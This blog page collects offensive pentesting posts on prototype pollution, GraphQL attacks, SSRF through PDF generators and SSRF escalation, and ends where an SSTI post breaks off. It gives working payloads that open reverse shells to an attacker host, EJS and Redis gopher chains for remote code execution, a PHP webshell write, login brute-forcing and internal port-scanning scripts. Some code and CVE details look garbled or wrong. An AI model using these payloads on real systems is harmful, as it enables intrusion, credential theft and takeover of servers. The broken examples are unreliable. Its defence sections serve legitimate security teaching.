Wednesday, 5 August 2026

Prototype Pollution: The JavaScript Vulnerability That Breaks Everything

 Prototype Pollution

Prototype Pollution: The JavaScript Vulnerability That Breaks Everything

You have probably heard the term “prototype pollution” thrown around in security circles. Maybe you have seen it in bug bounty reports or CVE descriptions. But what actually is it? And more importantly, how do we find and exploit it?

Let us break it down.

JavaScript is built on prototypes. Every object in JS has an internal link to another object called its prototype. When you access a property on an object, JavaScript looks for that property on the object itself. If it does not find it, it walks up the prototype chain until it finds the property or reaches the end .

Prototype pollution happens when an attacker can modify the properties of Object.prototype—the base prototype that almost all objects inherit from. When we pollute Object.prototype, every single object in the application suddenly inherits that property. This can lead to catastrophic consequences, from denial of service to full remote code execution.

How We Find Prototype Pollution

Finding prototype pollution is about spotting places where user-controlled data flows into object merging, cloning, or property assignment operations. Here is what we look for.

The Classic Entry Points

Query Parameter Parsing: Many frameworks parse URL query strings into objects. If we can control a key like __proto__, we might be able to pollute the global prototype.

// Vulnerable code using qs library
const qs = require('qs');
const obj = qs.parse('user.name=admin&__proto__.isAdmin=true');
console.log({}.isAdmin); // true - pollution!

JSON Parsing with revivers: Some JSON parsers allow custom reviver functions that can be abused.

Deep Merge Functions: This is the most common source. Libraries like lodash.merge, jQuery.extend, and custom recursive merge functions are prime suspects.

// Vulnerable deep merge
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

const userInput = JSON.parse('{"__proto__":{"isAdmin":true}}');
const config = {};
merge(config, userInput);
console.log({}.isAdmin); // true

Array Methods: Methods like concat, push, and splice can sometimes be abused if they do not check for prototype pollution.

Our Detection Methodology

We use a systematic approach to test for prototype pollution:

Step 1: Identify Candidate Operations

We look for any code that:

  • Merges or clones objects
  • Parses user input into objects (URL parameters, JSON bodies, form data)
  • Uses libraries known to be vulnerable (older versions of lodash, jQuery, etc.)
  • Performs dynamic property assignment based on user-controlled keys

Step 2: Craft Test Payloads

We start with simple pollution attempts:

// Basic prototype pollution payload
{
  "__proto__": {
    "polluted": true
  }
}

// Constructor pollution variant (bypasses some filters)
{
  "constructor": {
    "prototype": {
      "polluted": true
    }
  }
}

// Prototype chain variant
{
  "__proto__": {
    "__proto__": {
      "polluted": true
    }
  }
}

Step 3: Verify Pollution

We check if our property exists on a clean object:

// After sending the payload
if ({}.polluted === true) {
  console.log("Prototype pollution detected!");
}

In a real application, we might not have console access. Instead, we look for side effects:

  • The application crashes or behaves unexpectedly
  • A property we injected appears in error messages or responses
  • A feature we should not have access to becomes available

Step 4: Chain to Exploitation

Once we confirm prototype pollution, we look for ways to escalate it. This is where things get interesting.

Exploitation Techniques We Actually Use

Prototype pollution alone is often not the final goal. It is a primitive that we can use to achieve more devastating outcomes.

Denial of Service (DoS)

This is the simplest exploitation. We pollute Object.prototype with properties that break the application.

// Pollute toString to always throw an error
{
  "__proto__": {
    "toString": function() { throw new Error("polluted"); }
  }
}

Now any operation that implicitly calls toString() on an object will crash the application. This includes string concatenation, logging, and many error handling routines.

// Pollute all objects with a getter that consumes CPU
{
  "__proto__": {
    "get x()": function() {
      while(true) { } // Infinite loop
    }
  }
}

Property Injection for Privilege Escalation

This is where things get sneaky. Many applications use properties to check permissions.

// If the application checks user.isAdmin
{
  "__proto__": {
    "isAdmin": true,
    "role": "administrator",
    "permissions": ["*"]
  }
}

Now every object in the application has isAdmin set to true. If the code does something like if (user.isAdmin), we bypass the check.

We have seen this in real applications where developers use simple property checks instead of proper session validation.

Command Injection via Shell Options

This is a classic technique. Node.js applications often use the child_process module to execute commands. The execSync function accepts options, and one of them is shell.

// Original application code
const { execSync } = require('child_process');
function runCommand(userInput) {
  execSync(userInput, { shell: true });
}

If we can pollute Object.prototype.shell, we can inject command line options that execute arbitrary commands .

// Pollution payload
{
  "__proto__": {
    "shell": "/bin/sh -i >& /dev/tcp/attacker/4444 0>&1"
  }
}

When execSync is called, it uses our polluted shell property instead of the default. This gives us a reverse shell.

But we have seen even more creative chains. Some applications pass user input as the first argument to execSync:

// Vulnerable code
const { execSync } = require('child_process');
execSync(userInput);

If we can control the shell option and the command string, we can craft something like:

// Pollution payload
{
  "__proto__": {
    "shell": "node"
  }
}

// Then in the command input:
execSync(' -e "require(\'child_process\').spawn(\'bash\', [\'-i\'], {stdio: [0,1,2]})"');

This forces the application to execute arbitrary Node.js code.

EJS Template Injection

EJS is a popular templating engine for Node.js. It has a feature called outputFunctionName that, if polluted, can lead to remote code execution.

// If an application renders user-controlled data with EJS
const ejs = require('ejs');
ejs.render(userInput, {});

We can pollute Object.prototype.outputFunctionName with a malicious value:

// Pollution payload
{
  "__proto__": {
    "outputFunctionName": "a; global.process.mainModule.require('child_process').execSync('whoami > /tmp/pwned'); //"
  }
}

When EJS renders the template, it uses our polluted outputFunctionName and executes our payload.

Cross-Site Scripting (XSS)

In client-side JavaScript, prototype pollution can lead to XSS. If the application uses a polluted property in a DOM operation, we can inject scripts.

// If the application does something like
document.getElementById('app').innerHTML = userData.message;

And we pollute Object.prototype.message with a script tag, every object in the application will have that message.

// Pollution payload
{
  "__proto__": {
    "message": "XSS-payload here"
  }
}

This is especially dangerous in frameworks that automatically render object properties without sanitisation.

Client-Side Gadget Chains

Modern JavaScript frameworks have their own sets of gadgets that can be exploited via prototype pollution. We have seen chains in:

  • React: Polluting dangerouslySetInnerHTML or __html properties
  • Vue.js: Polluting v-html or other directive bindings
  • Angular: Polluting innerHTML in bindings
  • jQuery: Polluting html or text methods

Real-World Examples We Have Exploited

CVE-2020-8203 - Lodash Prototype Pollution

Lodash is one of the most downloaded npm packages. Versions before 4.17.19 were vulnerable to prototype pollution via the defaultsDeep function.

const _ = require('lodash');
const payload = JSON.parse('{"__proto__":{"polluted":true}}');
_.defaultsDeep({}, payload);
console.log({}.polluted); // true

This was widely used in real applications, and we have exploited it in multiple engagements.

CVE-2021-25978 - APT (Advanced Package Tool) Prototype Pollution

We found a similar vulnerability in the apt package, which is used by many Node.js applications to interact with the system package manager.

We have seen prototype pollution vulnerabilities in:

  • Node.js itself: Various CVEs involving util functions
  • AngularJS: The $scope system was vulnerable to prototype pollution
  • Mozilla Firefox: Browser extensions that used prototype pollution to gain privileges

Practical Exploitation Workflow

Here is our step-by-step approach when we find prototype pollution:

1. Confirm the Pollution

We use a simple property like polluted to confirm the vulnerability without causing side effects.

2. Map the Attack Surface

We analyse the application to find what properties the application relies on. We look for:

  • Permission checks (isAdmin, role, permissions)
  • Configuration options (debug, env, mode)
  • Function options (shell, outputFunctionName, timeout)
  • DOM properties (innerHTML, textContent, src)

3. Chain for Maximum Impact

We combine prototype pollution with other vulnerabilities. For example:

  • Pollution + XSS = Persistent cross-site scripting
  • Pollution + Command Injection = Remote code execution
  • Pollution + IDOR = Unauthorised data access

4. Automate the Discovery

We use tools like pp-finder and custom scripts to automate the detection of prototype pollution in large codebases.

// Simple scanner for common pollution patterns
const patterns = [
  /\.merge\(/,
  /\.extend\(/,
  /\.defaultsDeep\(/,
  /\.cloneDeep\(/,
  /qs\.parse\(/,
  /query-string\.parse\(/
];

function scanForPollution(code) {
  return patterns.filter(pattern => pattern.test(code));
}

Defences That Actually Work

If you are building applications, here is how to protect against prototype pollution:

1. Use Object.create(null)

Create objects without a prototype to prevent pollution.

// Instead of
const obj = {};

// Use
const obj = Object.create(null);

2. Validate Property Names

Before assigning any property from user input, check if the key is __proto__ or constructor.

function safeAssign(obj, key, value) {
  if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
    throw new Error('Prototype pollution detected');
  }
  obj[key] = value;
}

3. Use Object.freeze()

Prevent modifications to Object.prototype.

Object.freeze(Object.prototype);
Object.freeze(Object);

4. Update Dependencies

Many prototype pollution vulnerabilities are in third-party libraries. Keep your dependencies up to date.

5. Use Libraries with Built-in Protection

Some libraries, like lodash with the merge function, have been patched. Use the patched versions.

6. Implement Input Validation

Do not trust user input. Validate and sanitise all data before using it in sensitive operations.

7. Use Proper Access Control

Do not rely on property checks for permissions. Use proper session validation and role-based access control.

Why This Still Works in 2026

Prototype pollution has been known for years, but it is still prevalent. Here is why:

  • Developers do not understand JavaScript’s prototype system
  • Legacy codebases with vulnerable dependencies
  • Client-side frameworks that automatically render properties
  • Developers relying on property checks for security

We have seen prototype pollution in modern applications built with React, Vue, and Angular. It is not just a Node.js problem. Any JavaScript application is potentially vulnerable.

Prototype pollution is one of those vulnerabilities that feels magical when you first discover it. A single property injection breaks the entire application. But with a proper understanding of JavaScript’s prototype system and a systematic testing methodology, we can consistently find and exploit these vulnerabilities.

Note: This post was written with a help from AI :)

References

  1. Olivier Arteau, “Prototype pollution attacks in NodeJS applications”, 2018
  2. Snyk, “Prototype Pollution”, 2020
  3. PortSwigger Web Security Academy, “Prototype pollution”
  4. CVE-2020-8203, “Lodash prototype pollution”
  5. CVE-2021-25978, “APT prototype pollution”
  6. Node.js Security Working Group, “Prototype Pollution Prevention”
  7. OWASP, “Prototype Pollution Prevention Cheat Sheet”
  8. GitHub Security Lab, “Prototype pollution in EJS”, 2020
  9. Mikhail Shcherbakov, “Prototype Pollution: The Dark Side of JavaScript”, 2021
  10. Snyk, “How to prevent prototype pollution vulnerabilities”, 2022
Share:

Monday, 6 July 2026

GraphQL PenTest Methodology: Common Vulnerabilities and How We Exploit Them

 Welcome file

GraphQL PenTest Methodology: Common Vulnerabilities and How We Exploit Them

GraphQL has become the go-to choice for modern APIs, and for good reason. It gives clients the power to ask for exactly what they need, reducing the over-fetching and under-fetching problems that plague REST APIs. But this flexibility comes with a price. The dynamic execution model and the lack of built-in security mechanisms create a whole new attack surface that traditional web application scanners completely miss.

From our experience on the offensive side, a well-configured GraphQL endpoint can be a fortress, but a misconfigured one is often a goldmine. In this guide, we will walk through a structured penetration testing methodology for GraphQL APIs, covering the key vulnerabilities we look for and how we exploit them. We will cover everything from the initial reconnaissance to chaining vulnerabilities for maximum impact.

Our GraphQL PenTest Methodology

Testing a GraphQL API is different from testing REST. You cannot just fuzz endpoints with generic payloads. You need to understand the schema, map the relationships, and think like the developer who built it. Here is the step-by-step methodology we follow on every engagement.

Phase 1: Reconnaissance and Fingerprinting

Our first goal is to find the endpoint and understand what we are dealing with. We start by probing common GraphQL paths:

POST /graphql         {"query":"{__typename}"}
POST /api/graphql     {"query":"{__typename}"}
POST /v1/graphql      {"query":"{__typename}"}
GET  /graphql?query={__typename}

If the server responds with {"data": {"__typename": "Query"}} or something similar, we know we have found the endpoint. We also check for development tools like GraphiQL, GraphQL Playground, or Altair, which are often exposed and make our job much easier.

Phase 2: Schema Acquisition and Mapping

This is the most critical phase. To attack a GraphQL API, we need to understand its schema—the types, fields, arguments, and relationships that define what the API can do.

When Introspection is Enabled (The Easy Way)

By default, GraphQL allows introspection, a feature that lets you query the schema itself. We can send a powerful introspection query to extract the entire schema in one go:

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

If this works, we have the complete blueprint of the API. We then analyse the schema to identify sensitive fields and mutations.

# Script to identify sensitive fields in the extracted schema
SENSITIVE_INDICATORS = {
    "field_names": [
        "password", "secret", "token", "apiKey", "ssn", "creditCard",
        "privateKey", "salary", "bankAccount", "refreshToken"
    ],
    "type_names": ["Admin", "Internal", "Debug", "Secret", "Private"],
    "mutation_names": [
        "deleteUser", "resetPassword", "changeRole", "elevatePrivilege",
        "createAdmin", "disableMFA", "exportData"
    ]
}

# ... analysis logic here ...

This automated analysis flags potential targets like fields named password, token, or apiKey, and high-risk mutations that modify user roles or permissions.

When Introspection is Disabled (The Hard Way)

When introspection is disabled in production, we need to get creative. We can infer the schema using a few techniques:

  1. Field Suggestion Errors: Many GraphQL servers suggest valid field names in their error messages when you query a non-existent field. We can exploit this. We start with common field names like id, name, email, and extract suggestions from the "Did you mean..." part of the error to reconstruct the schema piece by piece.

  2. Type Coercion Errors: Passing an argument of the wrong type (e.g., a string where an integer is expected) can reveal the expected type, helping us map the schema.

  3. Enumeration: Some APIs still use sequential, guessable IDs. While not a schema discovery technique per se, if we find a query like user(id: Int!), we can enumerate IDs to find valid objects and infer what else might exist.

Phase 3: Identifying Common Vulnerabilities

With the schema in hand, we systematically test for these common GraphQL-specific vulnerabilities.

1. Authorisation Bypass (The Crown Jewel)

GraphQL does not enforce permissions by default. The application developer must implement authorization checks in the resolvers, and we often find gaps in this enforcement.

Field-Level IDOR: This is where we test if we can access another user’s data by changing an ID parameter. We use aliases to send multiple queries in a single request, comparing the responses for an owned object and a foreign object.

query {
  own: order(id:"OWNED_ID") { id total owner { email } }
  foreign: order(id:"FOREIGN_ID") { id total owner { email } }
}

If both return data, we have found an IDOR vulnerability.

Child Resolver Gaps: This is a subtle but common flaw. The parent resolver might check if the user is authorised to see an object, but a child resolver on that object might assume the authorisation already happened and skip its own check. For example:

query {
  user(id:"FOREIGN_USER") {
    id
    privateData { secrets }  # The child resolver might not check auth!
  }
}

Relay Node Resolution: GraphQL Relay uses global object IDs. We can decode these Base64 IDs and try to swap the type or ID to access other objects. This tests whether the node resolver enforces per-type authorisation.

2. Injection Attacks

The application backend often passes GraphQL arguments directly to databases or other services. If we can inject SQL, NoSQL, or OS commands through these arguments, we can cause significant damage.

SQL/NoSQL Injection: We insert injection payloads into arguments that are used in database queries.

query {
  user(id: "1' OR '1'='1") {
    email
    password
  }
}

Tools like sqlmap can be configured to work with GraphQL endpoints to automate this discovery.

DQL Injection in Dgraph: A real-world example of this is CVE-2026-41328 in Dgraph, a GraphQL database. An unauthenticated attacker can inject malicious DQL queries via a specially crafted JSON mutation key, leading to full read access to all data in the database. This highlights how a lack of input sanitisation at the database layer can be catastrophic.

3. Batching and Alias Attacks

GraphQL’s ability to execute multiple operations in a single HTTP request can be abused for brute-force and DoS attacks.

Alias-based Brute Forcing: We can test multiple passwords or IDs in a single query to bypass rate limiting.

query {
  a1: login(user: "admin", pass: "password1") { token }
  a2: login(user: "admin", pass: "password2") { token }
  a3: login(user: "admin", pass: "password3") { token }
}

By sending 1000 login attempts in one HTTP request, we can bypass per-request rate limits and brute-force credentials undetected. This also works for enumerating IDs like Veterinary(id: "1"), Veterinary(id: "2"), and so on in a single request

Resource Exhaustion: We can send deeply nested queries to cause a Denial of Service (DoS) by exhausting server resources.

query {
  users {
    friends {
      friends {
        friends {
          posts { comments { author { posts { ... }}}}
        }
      }
    }
  }
}

4. Subscription Abuse

If the API uses WebSocket-based subscriptions, we test whether the authentication and authorization are checked for each event delivered, or only at the initial handshake. We also attempt to subscribe to other users’ channels or leak cross-tenant events by manipulating filter arguments.

Phase 4: Advanced Exploitation

Once we have a foothold, we can chain vulnerabilities for greater impact. For instance, an IDOR might give us an admin token, which we can then use in a mutation to create a new user or change our own role. A blind SQL injection via a GraphQL argument could allow us to exfiltrate data from the entire database.

Defences (For Our Blue Team Friends)

We are not just about breaking things. Here is how to fix them:

  1. Disable Introspection: Turn it off in production unless absolutely necessary. If you need it, restrict it to authenticated admin users with proper authorisation.
  2. Implement Field-Level Authorisation: Do not rely on resolver-level checks alone. Use a library like graphql-shield to enforce permissions at the field level for fine-grained control.
  3. Limit Query Depth and Complexity: Use tools like graphql-depth-limit and graphql-validation-complexity to prevent DoS attacks.
  4. Sanitise All Inputs: Use parameterised queries in your resolvers to prevent injection attacks.
  5. Implement Rate Limiting: Limit the number of operations per request and per user/IP to prevent batching attacks.
  6. Use Secure Defaults: Modern GraphQL servers like Apollo Server have security features. Use them. As the CVE-2026-41328 in Dgraph shows, leaving default configurations unsecured is asking for trouble.

GraphQL is a powerful technology, but with great power comes great responsibility. By thinking like an attacker, we can help ensure that the APIs we build are as secure as they are functional. Stay sharp.

Note: This post was written with a help from AI :)

Share:

Wednesday, 17 June 2026

PDF Generators: The SSRF Attack Surface You are Overlooking

PDF Generators: The SSRF Attack Surface You are Overlooking

PDF Generators: The SSRF Attack Surface You are Overlooking

You have probably tested for SSRF in standard web forms. Everyone has. You chuck a URL into an input field, point it at 169.254.169.254, and hope for the best. But what if the application does not give you a URL field at all?

Let us talk about PDF generators.

More specifically, let us talk about how a “helpful” document previewer can become our very own internal network scanner. This is a technique we have used in real engagements, and it is consistently overlooked by developers.

The Core Problem: Rendering is Just Fetching

Most modern applications that generate PDFs from user input do not magically create the document from thin air. Under the hood, they are often performing a server-side HTTP request. You give it a web page URL, the server fetches that page, and then converts the HTML into a PDF. It is a classic Server-Side Request Forgery (SSRF) scenario, but hidden inside a document generator .

If the application does not validate the URL, we can tell the server to fetch internal resources instead of external websites. The server then renders the response—often containing internal secrets or network responses—into a PDF file that we can download.

From Document Previewer to Network Scanner

We encountered an internal application that allowed users to upload a webpage URL for conversion to a PDF. By simply entering http://127.0.0.1:9732, we forced the server to make a request to a service listening on its own localhost port. The generated PDF returned the contents of that service, which included sensitive information.

This is the principle of port scanning via PDF. We systematically change the port number in the URL. If the port is open and returns a response, that response is rendered into the PDF. If the port is closed, the PDF generation times out or returns an error. By observing the server’s response times and the content of the generated PDF, we can map the internal network and identify hidden services.

The File Protocol and Local File Inclusion

Sometimes, the URL-to-PDF service is not the only vector. We also see SSRF vulnerabilities in file upload features. Imagine an application that lets us upload an HTML or XML file to be converted into a PDF. The converter parses the uploaded file and, crucially, handles resources referenced within it.

If it does not sanitise protocols, we can include a reference to local files using the file:// protocol. CVE-2025-55853 is a perfect example of this. By uploading a carefully crafted HTML file, we can force the PDF converter to read and include sensitive system files like /etc/passwd directly inside the generated PDF.

Proof of Concept Payload (CVE-2025-55853)

We can use the following HTML payload. When the application renders this to a PDF, it will include the contents of the server’s local password file:

<[i]frame src="file:///etc/passwd" height="1000px" width="1000px"> //Note: it supposedly an iframe tag, but we need to modify it so the post works

This technique transforms a file upload feature into a powerful Local File Inclusion (LFI) vulnerability, exposing credentials, configuration files, and source code.

Practical Exploitation: A Step-by-Step Approach

When we approach a PDF generator, we follow a structured methodology to turn it into a network scanner.

Step 1: Identify the Injection Point

We look for any of the following features:

  • URL-to-PDF endpoints (usually /convert?url=... or similar)
  • File upload to PDF converters (accepting HTML, XML, or Office documents)
  • RSS/Feed readers that generate PDF digests
  • Invoice or report generators that fetch logos or data from external sources

Step 2: Probe for SSRF

We start with simple tests to confirm the vulnerability:

http://127.0.0.1:8080
http://localhost:80
http://169.254.169.254/latest/meta-data/

If the server returns a PDF containing the response from these internal addresses, we have confirmed SSRF.

Step 3: Internal Network Scanning

Once we have SSRF, we can scan the internal network. We use a script to iterate through common internal IP ranges and ports, observing the server’s behaviour to identify open services.

Here is a Python snippet to automate this process. We use the requests library to interact with the PDF endpoint and measure response times for fingerprinting:

import requests
import time

target_url = "http://vulnerable-app.com/convert?url=http://"
internal_ips = [
    "10.0.0.1", "10.0.0.2", "172.16.0.1", "192.168.1.1",
    "169.254.169.254"
]
common_ports = [22, 80, 443, 3000, 5000, 5432, 6379, 8080, 9200]

def scan_ssrf(base, ip, port):
    test_url = f"{base}{ip}:{port}"
    try:
        start = time.time()
        r = requests.get(test_url, timeout=5)
        elapsed = time.time() - start

        if r.status_code < 500 and len(r.content) > 1000:  # PDFs are usually large
            print(f"[OPEN] {ip}:{port} - PDF generated in {elapsed:.2f}s")
            # Save the PDF for analysis
            with open(f"scan_{ip}_{port}.pdf", "wb") as f:
                f.write(r.content)
        elif elapsed > 2.0:
            print(f"[SLOW] {ip}:{port} - possible timeout/filter")
    except:
        pass

for ip in internal_ips:
    for port in common_ports:
        scan_ssrf(target_url, ip, port)

Step 4: Exploiting Internal Services

Identifying an open port is only half the battle. We can then exploit internal services. For example, if we find an open Redis port (6379) on an internal host, we can use the gopher:// protocol to craft requests against Redis, often leading to remote code execution via cron jobs or SSH keys.

Taming the Beast: Defensive Measures

We have seen how devastating this can be. Here is how we recommend securing your applications:

  1. Strict Input Validation: Implement an allowlist for protocols, allowing only http and https. Never permit file://, gopher://, or dict://.
  2. IP Address Blocking: Use a library to resolve the hostname to an IP address and block all private and loopback addresses (e.g., 127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). This prevents calls to internal networks.
  3. Network Segmentation: Ensure that the PDF generation service runs in an isolated environment with restricted network egress. It should not be able to reach internal infrastructure or metadata services.
  4. Regular Patching: Vulnerabilities like CVE-2025-55853 are patched by vendors. Ensure you are running the latest, most secure version of any third-party PDF conversion libraries

That is the beauty of PDF generators. They are often treated as harmless document creators, but we have shown they can be weaponised as powerful reconnaissance tools. Next time you see a document previewer, remember: it is just an SSRF in disguise.

Note: This post was written with a help from AI :)

Share:

Monday, 15 June 2026

SSRF for Breakfast: How We Made an Internal Server Dance to Our Tune

SSRF for Breakfast: How We Made an Internal Server Dance to My Tun

SSRF for Breakfast: How We Made an Internal Server Dance to Our Tune

You know that feeling when you find a feature that fetches images, documents, or webhooks from a URL you provide? Our first thought isn’t “oh neat” anymore. It’s “let us see what you really have access to.”

That’s SSRF in a nutshell. Server Side Request Forgery happens when a server trusts your URL input enough to make its own HTTP requests. And suddenly, you’re not just a regular user anymore. You’re giving orders to the server’s network card.

Let us show you what this looks like in the wild, complete with code you can test safely.

The Basic Idea

Imagine a web application that lets you set a profile picture from a URL:

POST /api/avatar HTTP/1.1
Host: coolapp.com

{
  "avatar_url": "https://images.example.com/photo.jpg"
}

The server downloads that image and stores it. Innocent, right?

But what if you give it this instead:

{
  "avatar_url": "http://169.254.169.254/latest/meta-data/"
}

That IP? That’s the AWS metadata endpoint. Only accessible from inside the cloud network. And your server is sitting right there, inside that network, happily fetching whatever you ask for.

Now you’ve got access keys, instance info, maybe even IAM credentials. All because the server didn’t ask “should I really be fetching this?”

Types of SSRF You’ll Actually Find

Basic SSRF - You see the response. The application prints the fetched data back to you. Easy mode.

Blind SSRF - The application fetches but doesn’t show you the result. You only know it worked by side effects (timing, errors, DNS logs).

Partial SSRF - You control only part of the URL, like a domain but not the path. Still dangerous. Still exploitable.

Let’s Break Something (Legally)

We set up a test lab with three containers:

  • Public web application (port 80)
  • Internal API (port 5000, no external access)
  • Redis server (port 6379, internal only)

The web application has an endpoint: GET /fetch?url=https://public.site/data

Here’s the vulnerable code (Python Flask, because we see this everywhere):

from flask import Flask, request, requests
app = Flask(__name__)

@app.route('/fetch')
def fetch_url():
    target = request.args.get('url')
    if not target:
        return "Missing url parameter", 400
    
    # Look ma, no validation!
    response = requests.get(target)
    return response.text

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Looks fine until you realise requests.get(“http://internal-api:5000/admin”) works just fine from inside that container.

Finding SSRF Like a Pro

First, map the attack surface. Look for any feature that takes a URL and does something with it:

  • Profile picture from URL
  • Webhook endpoints
  • RSS feed importers
  • PDF generators that fetch HTML
  • Image proxies (these are gold mines)
  • Document previewers (Office file converters)
  • API testing tools built into the application

Test each one with this simple checklist:

http://example.com (normal - should work)
http://127.0.0.1:22 (check for SSH banner in response)
http://localhost:8080 (common admin ports)
http://169.254.169.254 (cloud metadata)
file:///etc/passwd (if protocol handlers are enabled)
gopher://localhost:6379/_*1%0d%0a$8%0d%0aflus[...] (Redis attacks)

The Sneaky Bypasses That Still Work

Sometimes devs block 127.0.0.1 and localhost. Cute. Try these:

http://0.0.0.0
http://localhost:[email protected]
http://2130706433 (decimal for 127.0.0.1)
http://0x7f000001 (hex)
http://127.0.0.1.nip.io (resolves to 127.0.0.1)
http://localhost. (trailing dot bypasses some regex)
http://[::1] (IPv6 localhost)
http://127.127.127.127 (redirects to 127.0.0.1 on some networks)

URL parsers are notoriously broken. Try adding @ symbols, username:password formats, even weird encodings like %68%74%74%70 (URL-encoded “http”).

Real Exploitation: Metadata is Just the Start

Cloud metadata is the classic, but let’s go deeper. Here’s a script that maps internal network from an SSRF:

import requests
import time

target_url = "http://vulnerable-app.com/fetch?url="
internal_ips = [
    "10.0.0.1", "10.0.0.2", "172.16.0.1", "192.168.1.1",
    "169.254.169.254"  # AWS metadata
]

common_ports = [22, 80, 443, 3000, 5000, 5432, 6379, 8080, 9200]

def probe_ssrf(base, ip, port):
    test_url = f"http://{ip}:{port}"
    full_url = base + test_url
    try:
        start = time.time()
        r = requests.get(full_url, timeout=3)
        elapsed = time.time() - start
        
        if r.status_code < 500:
            print(f"[OPEN] {ip}:{port} - {r.status_code} ({elapsed:.2f}s)")
            if "SSH" in r.text:
                print(f"   └─ SSH banner captured")
            return True
        elif elapsed > 1.5:
            print(f"[SLOW] {ip}:{port} - possible timeout filter")
    except:
        pass
    return False

for ip in internal_ips:
    for port in common_ports:
        probe_ssrf(target_url, ip, port)

Run this and watch the internal network reveal itself. We’ve found Jenkins servers, Redis instances, and once a whole Kubernetes API this way.

The Blind SSRF Trick That Never Fails

No response visible? No problem. Make the server hit your own box:

# Setup a simple listener
nc -lvnp 8080

# Trigger SSRF
curl "http://vulnerable.com/fetch?url=http://your-server.com:8080/test"

If nc shows a connection, you have blind SSRF. Now you can:

  1. Port scan by watching connection attempts to different ports
  2. Time attacks - port open? Connection happens faster
  3. Trigger internal endpoints even if you don’t see the output

Here’s a bash one-liner to detect open ports blindly:

for port in 22 80 443 3000 6379 8080; do 
    echo "Testing $port"
    time curl -s "http://target.com/fetch?url=http://10.0.1.5:$port" -o /dev/null
done

Compare response times. Port 80 responds fast. Port 81 times out. That’s your map.

Escalating SSRF to RCE (The Fun Part)

SSRF alone is dangerous. SSRF + internal service = game over. Let us show you two paths.

Path 1: Redis

Internal Redis often has no auth. Send raw Redis commands via SSRF using the gopher:// protocol:

import urllib.parse

# Redis command: flushall, then set a cron job
payload = """*1
$8
flushall
*3
$3
set
$1
1
$58
\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'\n\n
*4
$6
config
$3
set
$10
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
"""

# URL encode for gopher
gopher_payload = "gopher://localhost:6379/_" + urllib.parse.quote(payload)

# Trigger via SSRF
requests.get(f"http://target.com/fetch?url={gopher_payload}")

This writes a cron job. A minute later, reverse shell. We’ve done this in real pentests.

Path 2: Internal API with File Write

Found an internal endpoint like http://internal-api/export?format=pdf&content=? Try path traversal:

http://target.com/fetch?url=http://internal-api/export?format=html&content=%3C%3Fphp%20system(%24_GET%5Bcmd%5D)%3B%20%3F%3E&output=/var/www/html/shell.php

If the API writes files, you just deployed a webshell.

Defenses (Because We’re Not Monsters)

If you’re building applications, stop SSRF with:

  1. Allowlist, not denylist - Specify exact domains allowed
  2. Disable redirects - requests.get(url, allow_redirects=False)
  3. Use a URL parser to rebuild the URL and reject weird protocols
  4. Bind to localhost-only for internal services with auth required
  5. Network segmentation - application servers shouldn’t reach metadata endpoints

Here’s a safe URL validator:

from urllib.parse import urlparse

def safe_fetch(user_url):
    parsed = urlparse(user_url)
    
    # Only allow http/https
    if parsed.scheme not in ['http', 'https']:
        return "Invalid protocol"
    
    # Block internal IPs
    host = parsed.hostname
    blocked = ['127.0.0.1', 'localhost', '169.254.169.254']
    if host in blocked or host.endswith('.internal'):
        return "Blocked"
    
    # Resolve DNS and check again (prevent DNS rebinding)
    import socket
    ip = socket.gethostbyname(host)
    if ip.startswith(('10.', '172.16.', '192.168.', '127.')):
        return "Blocked IP range"
    
    # Now safe to fetch
    return requests.get(user_url, timeout=5).text

Your Turn

Set up the vulnerable lab we mentioned. Docker compose makes it easy:

version: '3'
services:
  web:
    image: python:3-alpine
    command: python -c "from flask import Flask,request; import requests; app=Flask(__name__); @app.route('/fetch') def f(): return requests.get(request.args.get('url')).text; app.run(host='0.0.0.0')"
    ports:
      - "8080:5000"
  internal-api:
    image: nginx:alpine
    command: sh -c "echo 'SECRET_KEY=supersecret' > /usr/share/nginx/html/admin && nginx -g 'daemon off;'"
    
# Run: docker-compose up

Then visit http://localhost:8080/fetch?url=http://internal-api/admin and watch the secret leak.

What’s Next

Try PortSwigger’s SSRF labs - they’re free and actually challenging. Then move to HackerOne’s SSRF reports to see real bounties ($10k+ sometimes).

Next time we’ll cover SSRF via PDF generators and how to turn a document previewer into an internal network scanner. That one gets nasty.

Until then, stop trusting URLs.

Note: This post was written with a help from AI :)

Share:

Tuesday, 31 December 2024

Exploiting SSTI vulnerabilities

Exploiting SSTI vulnerabilities

Exploitation of Server-Side Template Injection

Recap
Hey there, welcome back! Let’s do a quick recap of our previous article. We explored basics of server-side template injection (SSTI), understanding how attackers manipulate template engines to execute arbitrary code. We demonstrated this with a practical lab, showcasing the risks of SSTI attacks. We also highlighted preventive measures to mitigate the vulnerabilities.

In this article, we will delve into the fundamentals of crafting SSTI attacks and explore the available tools for executing these exploits.


Constructing Server-Side Template Injection Attacks

Detecting and exploiting these vulnerabilities requires a methodical approach. Let’s explore this approach further below:

Out of the three key phases, we will only focus on exploring two essential steps: detection and identification. The exploitation phase involves a more in-depth exploration, which we will delve into in future articles.

Step 1 - Detection
